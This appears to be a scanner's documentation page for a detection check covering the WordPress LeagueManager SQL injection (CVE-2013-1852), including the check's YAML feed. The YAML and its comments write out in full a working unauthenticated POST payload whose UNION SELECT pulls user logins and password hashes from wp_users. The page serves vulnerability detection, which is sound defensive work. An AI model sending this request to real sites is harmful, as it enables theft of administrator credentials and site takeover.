LeagueManager — 1 vulnerability check
noctis ships 1 vulnerability check for LeagueManager, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
WordPress LeagueManager unauthenticated export SQL injection
| CVE | CVE-2013-1852 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/leaguemanager/CVE-2013-1852.yaml |
Detects CVE-2013-1852 by posting to the LeagueManager export handler (league_id UNION SELECT from wp_users, leaguemanager_export=Download File) and confirming the exported league column headers in the response.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
POST /wp-admin/admin.php?page=leaguemanager-export HTTP/1.0 - Checks
resp.bannerforSeason.*Team.*Website.*Coach.*Home→ finding QoD 75: LeagueManager unauthenticated SQLi export confirmed — the league_id UNION SELECT POST returned the exported column headers (Season/Team/Web…
References:
Feed source — tests/vulnerabilities/leaguemanager/CVE-2013-1852.yaml
# WordPress LeagueManager Plugin — Multiple Vulnerabilities (CVE-2013-1852)
#
# The LeagueManager plugin for WordPress exposes an unauthenticated CSV export
# handler (admin.php?page=leaguemanager-export). The `league_id` POST field is
# used unsanitised in a SQL query, so a UNION SELECT against wp_users dumps the
# admin credentials into the exported CSV.
#
# Ported from OpenVAS/Greenbone NVT
# 2013/gb_wordpress_leaguemanager_plugin_mult_vuln.nasl (OID
# 1.3.6.1.4.1.25623.1.0.803439, GPL-2.0-only). The plugin only runs the export
# in its handler when the `leaguemanager_export` POST field is present — a bare
# GET on a real WordPress just redirects to wp-login.php — so the request MUST
# be the NASL POST, sent verbatim:
#
# POST /wp-admin/admin.php?page=leaguemanager-export HTTP/1.0
# Content-Type: application/x-www-form-urlencoded
# Content-Length: 169
#
# league_id=7 UNION SELECT ALL user_login,2,3,4,5,6,7,8,9,10,11,12,13,
# user_pass,15,16,17,18,19,20,21,22,23,24 from wp_users--&mode=teams&
# leaguemanager_export=Download+File
#
# A vulnerable plugin answers with the exported CSV whose column headers match
# Season,Team,Website,Coach,Home. The request is sent over tcp_connect so the
# raw POST body reaches the server unmodified; the signature is matched on
# resp.banner.
uid: 23e83ec6-b27b-43d8-908b-a6a9e4bb8d79
name: "WordPress LeagueManager unauthenticated export SQL injection (CVE-2013-1852)"
description: |
Detects CVE-2013-1852 by posting to the LeagueManager export handler (league_id UNION
SELECT from wp_users, leaguemanager_export=Download File) and confirming the exported
league column headers in the response.
cves: [CVE-2013-1852]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [leaguemanager, wordpress, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-1852"
- "OpenVAS/Greenbone NASL 2013/gb_wordpress_leaguemanager_plugin_mult_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.803439, GPL-2.0-only)"
steps:
- id: export-probe
action: tcp_connect
port: "{{port}}"
send: "POST /wp-admin/admin.php?page=leaguemanager-export HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 169\r\n\r\nleague_id=7 UNION SELECT ALL user_login,2,3,4,5,6,7,8,9,10,11,12,13,user_pass,15,16,17,18,19,20,21,22,23,24 from wp_users--&mode=teams&leaguemanager_export=Download+File"
timeout_secs: 10
store_as: resp
- id: confirm-export
action: match
source: resp.banner
pattern: "Season.*Team.*Website.*Coach.*Home"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "LeagueManager unauthenticated SQLi export confirmed — the league_id UNION SELECT POST returned the exported column headers (Season/Team/Website/Coach/Home) at {{target_host}}:{{port}}"
stop: true